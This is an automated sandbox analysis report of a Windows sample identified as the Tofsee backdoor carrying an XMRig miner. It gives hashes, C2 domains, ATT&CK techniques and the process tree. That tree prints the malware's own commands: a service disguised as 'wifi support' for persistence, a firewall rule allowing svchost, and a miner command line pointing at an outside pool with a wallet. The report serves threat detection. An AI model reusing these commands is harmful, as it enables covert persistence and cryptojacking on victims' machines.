Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-05-2023 20:16

General

  • Target

    file.exe

  • Size

    237KB

  • MD5

    5f22cf2b4084eeb86e75a33e469f8618

  • SHA1

    dcae74f903c5bf5ea85d20ff674ebc747eda60dd

  • SHA256

    650b125ce1f1646d33549681d7a1cfc8846f01a94d96d7cf1654cb1499442828

  • SHA512

    2fde1c85438e3e52cbc95def2e245b131dee2f5b8953d872f12adbbfcba835f467b43b482fe26b61d4d7d36615a7271412b5fc646f5b8c0a3cca709b1581a642

  • SSDEEP

    3072:DBGOKty9CLpLgdVLKNIFMae2nsvmPo+kysBmK:NBDgtLgzLoahnseEysZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wfomutpu\
      2⤵
        PID:1656
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe" C:\Windows\SysWOW64\wfomutpu\
        2⤵
          PID:4820
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wfomutpu binPath= "C:\Windows\SysWOW64\wfomutpu\brncxpnv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wfomutpu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wfomutpu
          2⤵
          • Launches sc.exe
          PID:3572
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:216
      • C:\Windows\SysWOW64\wfomutpu\brncxpnv.exe
        C:\Windows\SysWOW64\wfomutpu\brncxpnv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4368
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2764

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe
        Filesize

        14.1MB

        MD5

        8393fc11775db3692bced7ec61a0e43b

        SHA1

        b39f3e7d431f2361c201ff0fc4335d515f42b121

        SHA256

        32c25b01dc6030b80cd8b1d050956e578ac0754ce9e76ed5aff3534b48fb90e3

        SHA512

        972134e17aaea6d642a61c287cc2b6db53fba7eafa369316954f090ac71ea5bbabd93e3b4f2ed6c0e6edc6b398e9e6cc37ce46a5e3d113bbf127c021000487bd

      • C:\Windows\SysWOW64\wfomutpu\brncxpnv.exe
        Filesize

        14.1MB

        MD5

        8393fc11775db3692bced7ec61a0e43b

        SHA1

        b39f3e7d431f2361c201ff0fc4335d515f42b121

        SHA256

        32c25b01dc6030b80cd8b1d050956e578ac0754ce9e76ed5aff3534b48fb90e3

        SHA512

        972134e17aaea6d642a61c287cc2b6db53fba7eafa369316954f090ac71ea5bbabd93e3b4f2ed6c0e6edc6b398e9e6cc37ce46a5e3d113bbf127c021000487bd

      • memory/2764-188-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-199-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-198-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-197-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-196-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-195-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-194-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/2764-193-0x0000000001080000-0x0000000001171000-memory.dmp
        Filesize

        964KB

      • memory/4368-167-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-172-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-153-0x0000000001740000-0x0000000001746000-memory.dmp
        Filesize

        24KB

      • memory/4368-156-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-161-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-160-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-159-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-163-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-162-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-164-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-165-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-166-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-140-0x00000000001C0000-0x00000000001D5000-memory.dmp
        Filesize

        84KB

      • memory/4368-169-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-168-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-170-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-171-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-152-0x0000000002000000-0x000000000220F000-memory.dmp
        Filesize

        2.1MB

      • memory/4368-173-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-174-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-176-0x00000000025D0000-0x00000000025D5000-memory.dmp
        Filesize

        20KB

      • memory/4368-175-0x0000000001750000-0x0000000001760000-memory.dmp
        Filesize

        64KB

      • memory/4368-179-0x00000000025D0000-0x00000000025D5000-memory.dmp
        Filesize

        20KB

      • memory/4368-180-0x0000000007100000-0x000000000750B000-memory.dmp
        Filesize

        4.0MB

      • memory/4368-183-0x0000000007100000-0x000000000750B000-memory.dmp
        Filesize

        4.0MB

      • memory/4368-184-0x00000000025E0000-0x00000000025E7000-memory.dmp
        Filesize

        28KB

      • memory/4368-149-0x0000000002000000-0x000000000220F000-memory.dmp
        Filesize

        2.1MB

      • memory/4368-148-0x00000000001C0000-0x00000000001D5000-memory.dmp
        Filesize

        84KB

      • memory/4368-146-0x00000000001C0000-0x00000000001D5000-memory.dmp
        Filesize

        84KB

      • memory/4368-145-0x00000000001C0000-0x00000000001D5000-memory.dmp
        Filesize

        84KB

      • memory/4368-144-0x00000000001C0000-0x00000000001D5000-memory.dmp
        Filesize

        84KB

      • memory/4952-141-0x0000000000400000-0x00000000006BD000-memory.dmp
        Filesize

        2.7MB

      • memory/5096-135-0x0000000000930000-0x0000000000943000-memory.dmp
        Filesize

        76KB

      • memory/5096-138-0x0000000000400000-0x00000000006BD000-memory.dmp
        Filesize

        2.7MB